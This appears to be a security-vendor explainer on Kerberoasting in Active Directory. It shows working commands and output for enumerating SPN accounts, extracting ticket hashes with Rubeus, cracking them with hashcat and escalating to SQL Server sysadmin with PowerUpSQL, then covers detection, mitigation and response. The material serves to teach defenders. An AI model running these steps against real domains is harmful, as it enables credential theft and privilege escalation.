Kerberoasting abuses traits of the Kerberos protocol to harvest password hashes for Active Directory user accounts with servicePrincipalName (SPN) values (i.e. service accounts). A user is allowed to request a ticket-granting service (TGS) ticket for any SPN, and parts of the TGS may be encrypted with the with RC4 using the password hash of the service account assigned the requested SPN as the key.

An adversary who is able to extract the TGS tickets from memory, or captures them by sniffing network traffic, can extract the service account’s password hash and attempt an offline brute force attack to obtain the plaintext password.

Threat Summary


Active Directory

ATT&CK® Tactic:

ATT&CK Technique:








How Kerberoasting Works

Hover to see each step

Step 1: An adversary may target specific service accounts to Kerberoast if they first conducted internal reconnaissance to find service accounts with privileges they desire. Or, an adversary may Kerberoast as many accounts as possible. In either case, the adversary needs to enumerate the servicePrincipalNames for the service accounts they wish to Kerberoast.

An adversary can use LDAP to query Active Directory for any user accounts with defined SPNs. In this example, the adversary is casting a wide net and is querying Active Directory for all user accounts.

#Build LDAP Filter to look for users with SPN values registered for current domain
$ldapFilter = "(&(objectClass=user)(objectCategory=user)(servicePrincipalName=*))"
$domain = New-Object System.DirectoryServices.DirectoryEntry
$search = New-Object System.DirectoryServices.DirectorySearcher
$search.SearchRoot = $domain
$search.PageSize = 1000
$search.Filter = $ldapFilter
$search.SearchScope = "Subtree"
#Execute Search
$results = $search.FindAll()
#Display SPN values from the returned objects
$Results = foreach ($result in $results)
	$result_entry = $result.GetDirectoryEntry()
	$result_entry | Select-Object @{
		Name = "Username";  Expression = { $_.sAMAccountName }
	}, @{
		Name = "SPN"; Expression = { $_.servicePrincipalName | Select-Object -First 1 }
Username        SPN
--------        ---
ServiceAccount1 http/webserver1
ServiceAccount2 cifs/appserver2

Step 2: After completing the enumeration of service accounts and SPNs, the adversary then requests Kerberos ticket-granting service tickets for the services, extracts the hashes from memory, and saves them for later offline brute force. Tools such as Rubeus fully automate the process.

PS> .\Rubeus.exe kerberoast /simple /outfile:hashes.txt
[*] Action: Kerberoasting
[*] NOTICE: AES hashes will be returned for AES-enabled accounts.
[*]         Use /ticket:X or /tgtdeleg to force RC4_HMAC for these accounts.
[*] Searching the current domain for Kerberoastable users
[*] Total kerberoastable users : 2
[*] Hash written to C:\Tools\hashes.txt
[*] Roasted hashes written to : C:\Tools\hashes.txt
PS> Get-Content .\hashes.txt
# ... output truncated ... #

Step 3: Now that the adversary has obtained a list of password hashes, they need to brute force (“crack”) the plaintext password. This brute force attack happens offline, meaning no more communication with Active Directory needs to occur. As a result, this step is undetectable. An adversary may even exfiltrate the list of hashes and use a high-performance system dedicated and designed just for password cracking. Tools such as hashcat are used to perform the offline brute force attack. Dictionaries of common passwords can be used, which can help expedite cracking when common or weak passwords are used. The SecLists repository maintains a number of example dictionaries.

PS> .\hashcat.exe -m 13100 -o cracked.txt -a 0 .\Hash.txt .\wordlist.txt
Session..........: hashcat
Status...........: Cracked
Hash.Name........: Kerberos 5, etype 23, TGS-REP
Hash.Target......: $krb5tgs$23$*USER$DOMAIN$http/webserver1*$e556af133...b80b25
Time.Started.....: Thu Jul 23 18:58:36 2020 (0 secs)
Time.Estimated...: Thu Jul 23 18:58:36 2020 (0 secs)
Guess.Base.......: File (.\wordlist.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:    97694 H/s (0.26ms) @ Accel:256 Loops:1 Thr:64 Vec:1
Recovered........: 1/1 (100.00%) Digests
Progress.........: 100/100 (100.00%)
Rejected.........: 0/100 (0.00%)
Restore.Point....: 0/100 (0.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidates.#1....: 123456 -> taylor
Hardware.Mon.#1..: Temp: 47c Fan: 34% Util: 32% Core:1265MHz Mem:2504MHz Bus:16
PS> Get-Content .\cracked.txt
# ServiceAccount1 has a password of: P@ssword!23

Step 4: Having obtained the plaintext password, the adversary can use the credentials to authenticate to any resources the service account has access to, potentially allowing them to compromise data or escalate privileges. In this example, the attacker uses the credentials compromised from the webserver to authenticate directly to the database it accesses, and then exploits configuration vulnerabilities to escalate their privileges to a database administrator.

PS> runas /netonly /User:ServiceAccount1 powershell.exe
Enter the password for ServiceAccount1: P@ssword!23
PS> Import-Module .\PowerUPSQL
PS> $SQLServers = Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded | Where-object { $_.Status -eq "Accessible" }
PS> $SQLServers | Get-SQLServerInfo | Select-Object Instance, IsSysadmin -Unique
Instance        IsSysadmin
--------        ----------
SQLServer1      No
PS> Invoke-SQLEscalatePriv -Instance SQLServer1 -Verbose
VERBOSE: SQLServer1 : Checking if you're already a sysadmin...
VERBOSE: SQLServer1 : You're not a sysadmin, attempting to change that...
# ... output truncated ... #
VERBOSE: SQLServer1 : Success! You are now a Sysadmin!
PS> $SQLServers | Get-SQLServerInfo | Select-Object Instance, IsSysadmin -Unique
Instance        IsSysadmin
--------        ----------
SQLServer1      Yes

Detect, Mitigate, and Respond

Difficulty: Medium

It is possible to detect several aspects of Kerberoasting by monitoring the Windows event log for anomalous ticket-granting service (TGS) requests. Event IDs 4769 and 4770 in subcategory Audit Kerberos Service Ticket Operations audits all TGS requests and renewals. These events should be examined for:

  • Use of RC4 encryption: As RC4 is considered a weak algorithm, TGS requests and replies including an encryptionType of 0x17 (rc4-hmac) are suspicious. RC4 hashes can be more easily brute forced than AES, and an adversary may attempt to explicitly request RC4 for this purpose.
  • Abnormal volume of TGS requests: Adversaries casting a wide net, or running Kerberoasting tools with default configuration options may trigger a large number of TGS requests than normally observed for a given user. Establishing a baseline for TGS request volume and detecting deviations from it can be a valuable signal of Kerberoasting.

Additionally, establishing a Kerberoasting honeypot (e.g. a user with defined SPNs that isn’t actually used) can increase your ability to detect early reconnaissance and actual Kerberoasting activity.

Difficulty: Hard

As we’ve demonstrated, Kerberoasting can lead to the compromise of sensitive service account passwords. However, several mitigations exist that greatly reduce or even eliminate these risks.

  • Reject authentication requests not using Kerberos Flexible Authentication Secure Tunneling (FAST) (also called Kerberos Armoring), a pre-authentication extension that establishes a pre-authentication secure channel between the client and domain controller, and is designed to better protect Kerberos tickets from offline password cracking attempts. While enabling FAST can eliminate the risk posed by Kerberoasting, it can be challenging for organizations to rapidly enable and enforce.
  • Eliminate the use of insecure protocols in Kerberos. While entirely disabling RC4 is another large undertaking, it is possible to configure individual service accounts to not permit the RC4 protocol. The attribute msDS-SupportedEncryptionTypes can be set to 0x18 (decimal 24) to enable only AES128 and AES256. This has the added benefit of increasing the sensitivity of the detection — if RC4 is observed in a TGS request then it is more strongly a sign of malicious activity.
  • Adopt strong password hygiene practices for service accounts. Their passwords should be randomly generated, a minimum of 30 characters, and routinely changed.
  • Where possible, adopt the use of group Managed Service Accounts (gMSA). The passwords (256 random bytes) for gMSA’s are generated and frequently changed by Active Directory, removing this burden from administrators.
  • Audit the assignment of servicePrincipalNames to sensitive user accounts. For example, members of Domain Admins should not be used as service accounts (and therefore not have SPNs assigned).

Difficulty: Hard

If Kerberoasting is detected, there are several response actions that should be taken:

  • Activate the incident response process and alert the incident response team.
  • Quarantine any implicated computers (e.g. the host that requested service tickets) for forensic investigation, as well as eradication and recovery activities.
  • Reset the password for the user performing the Kerberoasting.
  • Reset the password for any service accounts for which TGS tickets were requested. Priority should be given to privileged accounts.